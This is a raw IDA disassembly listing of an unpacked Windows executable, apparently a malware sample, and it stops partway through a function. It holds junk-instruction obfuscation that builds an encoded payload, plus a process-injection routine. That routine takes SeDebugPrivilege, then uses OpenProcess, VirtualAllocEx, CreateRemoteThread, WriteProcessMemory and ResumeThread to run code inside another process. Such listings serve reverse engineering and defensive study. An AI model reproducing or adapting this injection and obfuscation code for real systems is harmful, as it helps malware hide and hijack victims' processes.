;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	20F792095E03A80A693614AC2EC7F61A

; File Name   :	u:\work\20f792095e03a80a693614ac2ec7f61a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00001830 (   6192.)
; Section size in file		: 00001830 (   6192.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_401000	dd 1Bh dup(0)						; sub_41F78E+14Ao ...
		db 0
dword_40106D	dd 0							; sub_4214D7+14r ...
		align 4
		dd 0A2h	dup(0)
		dd 85000000h, 2444C7C6h, 4112DEEEh, 66C68500h, 7C8BC933h
		dd 66B8EE24h, 0ABC7D885h, 33C93366h, 104B0C0h, 23EE2444h
		dd 66D923DFh, 7C8BF50Bh, 44B8EE24h, 0ABDEE624h,	0B66D923h
		dd 0B2D233F5h, 24540104h, 0F50B66EEh, 0EE24448Bh, 41020081h
		dd 33666600h, 2D0C1C1h,	4B1C933h, 0EE244C01h, 8B02D0C1h
		dd 81EE2454h, 8BD88502h, 0FD82354h, 0C033DEBEh,	440104B0h
		dd 0BE0FEE24h, 24548BDEh, 240281EEh, 810281E6h,	40DBECDBh
		dd 0B0C03300h, 24440104h, 0F7F52BEEh, 40FAFAC2h, 247C8B00h
		dd 0D76BB8EEh, 0F7AB3B90h, 40FAFAC2h, 0B1C93300h, 244C0104h
		dd 2EAC1EEh, 8BCE8B66h,	0C7EE2444h, 0D2328100h,	0CE8B66E9h
		dd 4B1C933h, 0EE244C01h, 8BEA8566h, 81EE244Ch, 0F3B9201h
		dd 66F223B6h, 0C033EA85h, 440104B0h, 8566EE24h,	244C8BEAh
		dd 0DC01C7EEh, 6633F523h, 366C385h, 0C00B66DDh,	4B1C933h
		dd 0EE244C01h, 8BDD0366h, 81EE245Ch, 4B2D203h, 0C00B6601h
		dd 0FEEBBF8Dh, 0C9330040h, 4C0104B1h, 0BF8DEE24h, 40FEEBh
		dd 0EE24448Bh, 24540081h, 0ED8523E6h, 4B0C033h,	0EE244401h
		dd 8B02E1C1h, 81EE2444h, 4C8BF500h, 0F5036624h,	4B3DB33h
		dd 0EE245C01h, 0FC02366h, 8B03C8A4h, 81EE245Ch,	181E603h
		dd 0C8A40F00h, 0B0C03303h, 24440104h, 0C50B66EEh, 0EE244C8Bh
		dd 0E0B80981h, 2366331Eh, 0B1C933D2h, 244C0104h, 23DFF7EEh
		dd 0FF2366FBh, 0EE245C8Bh, 83FA0381h, 0FB2302EBh, 4B1C933h
		dd 0EE244C01h, 8BFF2366h, 81EE244Ch, 0B0C03301h, 0FEE8504h
		dd 0F323D2BEh, 0F8ECF181h, 0C0330040h, 440104B0h, 0BE0FEE24h
		dd 8BF323D2h, 0B8EE247Ch, 0E6244401h, 33F323ABh, 104B1C9h
		dd 81EE244Ch
dword_4014E0	dd 40F8ECF1h, 245C8B00h, 830381EEh, 0C18B02EBh,	0C9C102D1h
					; DATA XREF: rdata:004037E7o
		dd 0B3DB3302h, 245C0104h, 2C9C1EEh, 8BF58566h, 81EE245Ch
		dd 0E6244403h, 0F5856681h, 4B2D233h, 0EE245401h, 0FCE8F381h
		dd 7C8B0040h, 0B8EE24h,	0AB500040h, 0C933EF33h,	4C0104B1h
		dd 366EE24h, 245C8BC6h,	0BA0B81EEh, 66CE8566h
; ---------------------------------------------------------------------------


loc_401540:				; DATA XREF: rdata:004038EDo
		add	ebx, edx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		mov	esi, edx
		mov	edi, [esp-12h]
		mov	eax, 4B0C033h
		stosd
		and	ebp, edx
		and	ebp, ebp
		sbb	eax, 2
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		and	ebp, ebp
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0E6244401h
		sbb	eax, 2
		or	bx, si
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		or	bx, si
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 548BFB0Bh
		rcl	esi, 2
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	dx, si
		mov	edx, [esp-12h]
		or	dword ptr [edx], 281E624h
		or	bx, ax
		lea	ebp, [ebp+2]
		mov	bp, di
		xor	eax, eax
		mov	al, 4


loc_4015B1:				; DATA XREF: sub_41FFC3+1r
		add	[esp-12h], eax
		lea	ebp, [ebp+2]
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 18705F09h
		mov	bp, di
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		and	esi, ebx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 984A3281h
		and	ecx, edi
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		xor	ecx, ebp
		movzx	ecx, bl
		mov	edx, [esp-12h]
		or	dword ptr [edx], 0DF815ADAh
		movzx	ecx, bl
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		shld	eax, ebx, 3
		mov	edx, [esp-12h]
		add	dword ptr [edx], 40F8FBh
		add	edx, eax
		mov	ecx, offset locret_40DD79
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		mov	ecx, offset locret_40DD79
		mov	ebx, [esp-12h]
		mov	dword ptr [ebx], 4B2D233h
		add	edx, eax
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		lea	edx, [ebp+40F969h]
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 0E6245401h
		lea	ebx, [edi+40DCEBh]
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		add	cx, bp
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 8B027B8Dh
		test	bx, dx
		xor	edi, edi
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		xor	edi, edi
		mov	edx, [esp-12h]
		add	dword ptr [edx], 81E6245Ch
		and	bp, di
		movzx	ebx, bh
		sub	si, bp
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		movzx	ebx, bh
		mov	edx, [esp-12h]
		add	dword ptr [edx], 2E803h
		sub	si, bp
		and	di, bp
		and	si, cx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		and	di, bp
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 0FEAF700h
		and	si, cx
		xor	dx, bx
		sbb	ebp, 2
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		xor	dx, bx
		mov	edi, [esp-12h]
		mov	eax, 0C10BDBBEh
		stosd
		sbb	ebp, 2
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		shrd	eax, ebp, 3
		mov	edx, [esp-12h]
		mov	dword ptr [edx], 4B2D233h
		rcl	esi, 2
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		add	bx, si
		add	ecx, 40F96Ah
		mov	edx, [esp-12h]
		add	dword ptr [edx], 0E6245401h
		add	ecx, 40F96Ah
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		imul	ebx
		or	edi, ebp
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0BDBBE0Fh
		or	edi, ebp
		lea	edx, [ebp+40F969h]
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		lea	edx, [ebp+40F969h]
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 245C8BC1h
		xor	ebp, edx
		xor	ecx, 40F8ECh
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		xor	ecx, 40F8ECh
		mov	ebx, [esp-12h]
		or	dword ptr [ebx], 70381E6h
		movsx	eax, dh
		sub	di, bp
		xor	edi, edx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	di, bp
		xor	edi, edx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 81E1F810h
		xor	edi, edx
		sub	si, si
		test	bp, ax
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	si, si
		test	bp, ax
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 0F1FB0733h
		test	bp, ax
		and	ax, ax
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		and	ax, ax
		mov	ebx, [esp-12h]
		mov	dword ptr [ebx], 66C10BD0h
		add	dx, si
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		add	bp, bp
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0C933C933h
		sub	edi, esi
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		mov	ecx, offset locret_40DD79
		mov	edi, [esp-12h]
		mov	eax, 4C0104B1h
		stosd
		test	esi, edi
		xor	ebx, esi
		add	bx, bp
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		xor	ebx, esi
		add	bx, bp
		mov	eax, [esp-12h]
		add	dword ptr [eax], 3366E624h
		add	bx, bp
		mov	ecx, edx
		add	di, cx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		mov	ecx, edx
		add	di, cx
		mov	ebx, [esp-12h]
		or	dword ptr [ebx], 8BF78BC9h
		add	di, cx
		xor	edi, ecx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		xor	edi, ecx
		add	eax, 40D8EDh
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 81E6244Ch
		add	eax, 40D8EDh
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		mov	eax, edi
		mov	eax, [esp-12h]
		or	dword ptr [eax], 0C0831001h
		sub	ecx, eax
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		add	ecx, esi
		mov	ecx, [esp-12h]
		or	dword ptr [ecx], 66F78B04h
		add	eax, 2
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		sub	ecx, esi
		mov	edx, [esp-12h]
		mov	dword ptr [edx], 0B60FE923h
		xadd	eax, edx
		lea	ecx, [esi+2]
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		lea	ecx, [esi+2]
		movsx	eax, bl
		mov	eax, [esp-12h]
		add	dword ptr [eax], 0B0C033C3h
		movsx	eax, bl
		and	edx, 40FE78h
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		and	edx, 40FE78h
		mov	edx, [esp-12h]
		add	dword ptr [edx], 24440104h
		sub	edx, 2
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		sbb	edi, 2
		mov	edi, [esp-12h]
		mov	eax, 0E92366E6h
		stosd
		and	cx, ax
		test	si, ax
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		test	si, ax
		mov	eax, [esp-12h]
		add	dword ptr [eax], 0E624548Bh
		or	ebp, offset loc_40FDE8
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	edi, eax
		add	ecx, edx
		mov	edi, [esp-12h]
		mov	eax, 75490281h
		stosd
		add	ecx, edx
		mov	bp, bp
		test	bx, bx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		mov	bp, bp
		mov	eax, [esp-12h]
		mov	dword ptr [eax], 0B60FC3F8h
		test	bx, bx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		xor	ebp, ecx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 2798DC3h
		or	bx, cx
		sub	eax, edx
		movsx	ecx, al
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	eax, edx
		movsx	ecx, al
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 33FF3366h
		movsx	ecx, al
		xor	edi, ebx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		xor	edi, ebx
		mov	ebx, [esp-12h]
		mov	dword ptr [ebx], 104B2D2h
		sub	dx, dx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		test	eax, ebp
		mov	eax, [esp-12h]
		mov	dword ptr [eax], 8DE62454h
		xadd	eax, eax
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		lea	edi, [eax+2]
		mov	edi, [esp-12h]
		mov	eax, 4C8B0279h
		stosd
		test	ecx, esi
		lea	edx, loc_40F9FB[edi]
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		lea	edx, loc_40F9FB[edi]
		mov	eax, [esp-12h]
		add	dword ptr [eax], 181E624h
		sub	esi, ebx
		shl	edi, 2
		lea	ecx, [ebx+40F96Ah]
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		shl	edi, 2
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 2980B9h
		lea	ecx, [ebx+40F96Ah]
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		mov	si, cx
		mov	edi, [esp-12h]
		mov	eax, 23FF3366h
		stosd
		mov	edi, ecx
		xor	ax, ax
		mov	bp, cx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		xor	ax, ax
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 66F88BCFh
		mov	bp, cx
		xor	ebp, edx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		xor	ebp, edx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0C933DB0Bh
		or	ebx, ecx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		sub	bp, dx
		mov	edx, [esp-12h]
		add	dword ptr [edx], 4C0104B1h
		and	ax, cx
		xor	edx, 40DE6Dh
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		xor	edx, 40DE6Dh
		mov	ecx, [esp-12h]
		or	dword ptr [ecx], 0CF23E624h
		mov	bx, cx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		movzx	ebx, cl
		mov	edi, [esp-12h]
		mov	eax, 0B66F88Bh
		stosd
		sub	si, bp
		and	bp, di
		and	cx, dx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		and	bp, di
		mov	eax, [esp-12h]
		mov	dword ptr [eax], 245C8BDBh
		and	cx, dx
		add	ebx, ebp
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		add	ebx, ebp
		mov	ebx, [esp-12h]
		or	dword ptr [ebx], 381E6h
		xor	ax, bx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		movsx	edx, dh
		movsx	eax, dl
		mov	edx, [esp-12h]
		add	dword ptr [edx], 8B5000B8h
		movsx	eax, dl
		or	esi, eax
		or	ebp, edi
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		or	esi, eax
		mov	ebx, [esp-12h]
		mov	dword ptr [ebx], 0DB0B66F8h
		or	ebp, edi
		add	bx, bx
		mov	cx, dx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		add	bx, bx
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 33C30B66h
		mov	cx, dx
		sar	eax, 2
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		sar	eax, 2
		mov	eax, [esp-12h]
		mov	dword ptr [eax], 104B0C0h
		sub	bp, dx
		or	bx, di
		sub	bx, ax
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		or	bx, di
		sub	bx, ax
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 66E62444h
		sub	bx, ax
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		and	bp, si
		mov	eax, [esp-12h]
		add	dword ptr [eax], 4C8BDB0Bh
		mov	cx, si
		test	bx, si
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		test	bx, si
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 181E624h
		and	ebx, esi
		shr	edx, 2
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		shr	edx, 2
		mov	eax, [esp-12h]
		add	dword ptr [eax], 9ABA0041h
		shl	esi, 2
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		sub	esi, esi
		and	cx, bx
		mov	edi, [esp-12h]
		mov	eax, 0FC30B66h
		stosd
		and	cx, bx
		lea	eax, [edi+2]
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		lea	eax, [edi+2]
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0C933D9BEh
		mov	ax, bx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		sub	edi, 40DAEEh
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 4C0104B1h
		xor	bx, ax
		test	ebx, ecx
		mov	esi, ecx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		test	ebx, ecx
		mov	edx, [esp-12h]
		mov	dword ptr [edx], 0BE0FE624h
		mov	esi, ecx
		and	ebp, ebp
		imul	edx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		and	ebp, ebp
		imul	edx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 8BD623D9h
		imul	edx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		add	ebx, 40F979h
		mov	edi, [esp-12h]
		mov	eax, 81E62454h
		stosd
		mov	esi, ebx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		add	edi, ecx
		or	edi, ebx
		mov	edx, [esp-12h]
		add	dword ptr [edx], 6B97CC02h
		or	edi, ebx
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		mov	esi, edx
		mov	ecx, [esp-12h]
		or	dword ptr [ecx], 2A3281FCh
		mov	dx, ax
		mov	bp, si
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		mov	bp, si
		rcl	edi, 2
		mov	ebx, [esp-12h]
		or	dword ptr [ebx], 23142D8Fh
		rcl	edi, 2
		add	ebp, edx
		movsx	ebx, al
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		add	ebp, edx
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0B1C933D6h
		movsx	ebx, al
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		sub	ax, di
		mov	edi, [esp-12h]
		mov	eax, 244C0104h
		stosd
		and	ecx, eax
		xor	eax, offset loc_40DD78
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		xor	eax, offset loc_40DD78
		mov	eax, [esp-12h]
		mov	dword ptr [eax], 8BC62BE6h
		sub	cx, di
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		add	esi, 40FDFAh
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 81E6244Ch
		add	bp, dx
		test	di, ax
		lea	eax, [esi+40FF6Bh]
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		test	di, ax
		mov	edx, [esp-12h]
		mov	dword ptr [edx], 0FFFFE301h
		lea	eax, [esi+40FF6Bh]
		xor	di, di
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		xor	di, di
		mov	edi, [esp-12h]
		mov	eax, 0D22366FFh
		stosd
		movzx	eax, cl
		or	bx, si
		or	ebx, edx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		or	bx, si
		mov	edi, [esp-12h]
		mov	eax, 4B2D233h
		stosd
		or	ebx, edx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		xor	ebp, edx
		xor	ebp, 40DAFDh
		mov	ecx, [esp-12h]
		or	dword ptr [ecx], 0E6245401h
		xor	ebp, 40DAFDh
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		mov	cx, bx
		mov	ebx, [esp-12h]
		or	dword ptr [ebx], 548BD98Bh
		and	cx, ax
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		and	edx, edi
		add	cx, bx


loc_401DAE:				; DATA XREF: .data:00420082r
		mov	edi, [esp-12h]
		mov	eax, 281E624h
		stosd
		add	cx, bx
		test	esi, ecx
		lea	ecx, [ebp+2]
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		test	esi, ecx
		mov	eax, [esp-12h]
		add	dword ptr [eax], 8603FEEDh
		lea	ecx, [ebp+2]
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		mov	si, bx
		and	ax, bp
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 962E3281h
		and	ax, bp
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		add	ebp, edi
		sub	bp, bx
		mov	edx, [esp-12h]
		add	dword ptr [edx], 0C2C1845Bh
		sub	bp, bx
		xor	edx, edx
		mov	dl, 4
		add	[esp-12h], edx
		movsx	ecx, bh
		mov	edi, [esp-12h]
		mov	eax, 2C18302h
		stosd
		or	dx, di
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		or	bx, cx
		mov	edx, edi
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 0DB33D123h
		mov	edx, edi
		test	bp, si
		and	ebx, esi
		sub	ecx, ecx
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		test	bp, si
		and	ebx, esi
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 5C0104B3h
		and	ebx, esi
		sub	ecx, ecx
		xor	eax, eax
		mov	al, 4
		add	[esp-12h], eax
		sub	ecx, ecx
		add	ebx, esi
		mov	ecx, [esp-12h]
		mov	dword ptr [ecx], 0DE68E624h
		add	ebx, esi
		imul	ebp
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		imul	ebp
		mov	edi, [esp-12h]
		mov	eax, 0C3004102h
		stosd
		mov	bp, di
		shl	edx, 2
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		shl	edx, 2
		mov	ebx, [esp-12h]
		add	dword ptr [ebx], 2302C183h
		mov	edi, edx
		lea	ecx, [edx+40DCFEh]
		xor	ecx, ecx
		mov	cl, 4
		add	[esp-12h], ecx
		lea	ecx, [edx+40DCFEh]
		mov	ecx, [esp-12h]
		add	dword ptr [ecx], 0F38B66D1h
		test	di, si
		and	edi, ebx
		xor	ebx, ebx
		mov	bl, 4
		add	[esp-12h], ebx
		push	4112DEh
		retn
; ---------------------------------------------------------------------------
		and	edi, ebx
		shr	esi, 2
		call	$+5
		pop	esi
		and	esi, 0FFFF0000h
		mov	edi, esi
		add	esi, [esi+3Ch]
		mov	ebx, [esi+34h]
		lea	esi, [esi+78h]
		add	esi, 8
		mov	edx, [esi]
		add	edx, edi
		mov	eax, [edx+10h]
		add	eax, edi
		mov	ecx, [eax]
		mov	dword_41F4F4, ecx
		mov	ecx, [eax+4]
		mov	dword_41F4F8, ecx
		push	offset off_41F2E6
		push	offset dword_41F2BC
		call	sub_4024A0
		lea	ecx, dword_401000+10h
		push	0ED0h
		push	ecx
		call	sub_402510
		mov	dword_41F228, 94h
		lea	eax, dword_41F228
		push	eax
		call	dword_41F534	; GetVersionExA
		call	dword_41F530	; GetCommandLineA
		mov	edi, eax
		jmp	short loc_401F60
; ---------------------------------------------------------------------------


loc_401F55:				; CODE XREF: .text:00401F63j
		cmp	dword ptr [edi], 744D6552h
		jnz	short loc_401F5F
		jmp	short loc_401F65
; ---------------------------------------------------------------------------


loc_401F5F:				; CODE XREF: .text:00401F5Bj
		inc	edi


loc_401F60:				; CODE XREF: .text:00401F53j
		cmp	byte ptr [edi],	0
		jnz	short loc_401F55


loc_401F65:				; CODE XREF: .text:00401F5Dj
		cmp	dword ptr [edi], 744D6552h
		jnz	short loc_401F77
		mov	dword_41F224, 1


loc_401F77:				; CODE XREF: .text:00401F6Bj
		push	offset off_41F1DE
		push	offset dword_415000
		call	sub_402062
		push	offset dword_41F1E6
		push	off_41F1DE
		call	sub_402250
		push	dword_41F1E6
		call	sub_4022E0
		cmp	dword_41F224, 1
		jnz	loc_402036
		cmp	dword_41F238, 2
		jnz	short loc_402036
		push	offset dword_41F220
		push	offset dword_41F21C
		push	offset dword_41F218
		push	offset word_41F1EA
		push	off_41F1DE
		call	sub_402150
		or	eax, eax
		jz	short loc_402029
		push	dword_41F220
		push	dword_41F1E6
		call	sub_4021E0
		push	dword_41F1E6
		push	dword_41F220
		push	dword_41F21C
		push	dword_41F218
		call	sub_402100
		or	eax, eax
		jz	short loc_402029
		push	8000h
		push	0
		push	dword_41F1E6
		call	dword_41F524	; VirtualFree
		mov	dword_41F224, 5


loc_402029:				; CODE XREF: .text:00401FD8j
					; .text:0040200Aj
		cmp	dword_41F224, 5
		jz	short loc_40205A
		jmp	short loc_402036
; ---------------------------------------------------------------------------
		jmp	short loc_40205A
; ---------------------------------------------------------------------------


loc_402036:				; CODE XREF: .text:00401FA8j
					; .text:00401FB5j ...
		push	dword_41F1E6
		push	dword_41F1E6
		call	sub_4021E0
		mov	eax, dword_41F1E6
		add	eax, [eax+3Ch]
		mov	eax, [eax+28h]
		add	eax, dword_41F1E6
		jmp	eax
; ---------------------------------------------------------------------------


loc_40205A:				; CODE XREF: .text:00402030j
					; .text:00402034j
		push	0
		call	dword_41F528	; ExitProcess

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402062	proc near		; CODE XREF: .text:00401F81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		call	$+5
		pop	esi
		and	esi, 0FFFF0000h
		mov	edi, esi
		add	esi, [esi+3Ch]
		add	esi, 0F8h
		mov	ecx, 1
		imul	ecx, 28h
		add	esi, ecx
		mov	ecx, [esi+0Ch]
		add	edi, ecx
		push	edi
		push	[ebp+arg_0]
		call	sub_402720
		add	esp, 8
		mov	[ebp+var_4], eax
		add	eax, 4E20h
		mov	ecx, eax
		lea	eax, byte_41F1F7
		push	eax
		push	ecx
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_41F53C	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	6
		push	[ebp+var_8]
		call	dword_41F540	; MapViewOfFile
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		add	eax, 4
		push	ecx
		push	edi
		push	eax
		call	sub_402360
		push	[ebp+var_C]
		call	dword_41F544	; UnmapViewOfFile
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_402062	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402100	proc near		; CODE XREF: .text:00402003p
					; DATA XREF: rdata:004044A8o

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	esi, dword_41F1E6
		add	esi, [esi+3Ch]
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi+50h]
		push	dword_41F1E6
		push	dword_41F220
		push	dword_41F218
		call	dword_41F518	; WriteProcessMemory
		push	dword_41F21C
		call	dword_41F51C	; ResumeThread
		push	dword_41F21C
		call	dword_41F520	; CloseHandle
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_402100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402150	proc near		; CODE XREF: .text:00401FD1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		xor	ebx, ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_402390
		push	[ebp+arg_4]
		call	sub_402410
		or	eax, eax
		jz	short loc_4021D0
		push	eax
		push	0
		push	3Ah
		call	dword_41F50C	; OpenProcess
		mov	esi, eax
		or	eax, eax
		jz	short loc_4021D0
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edi, [ebp+arg_0]
		add	edi, [edi+3Ch]
		push	40h
		push	1000h
		push	dword ptr [edi+50h]
		push	0
		push	esi
		call	dword_41F510	; VirtualAllocEx
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_4021D0
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	edx, [edi+28h]
		add	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	edx
		push	0
		push	0
		push	esi
		call	dword_41F514	; CreateRemoteThread
		or	eax, eax
		jz	short loc_4021D0
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		inc	ebx


loc_4021D0:				; CODE XREF: sub_402150+1Fj
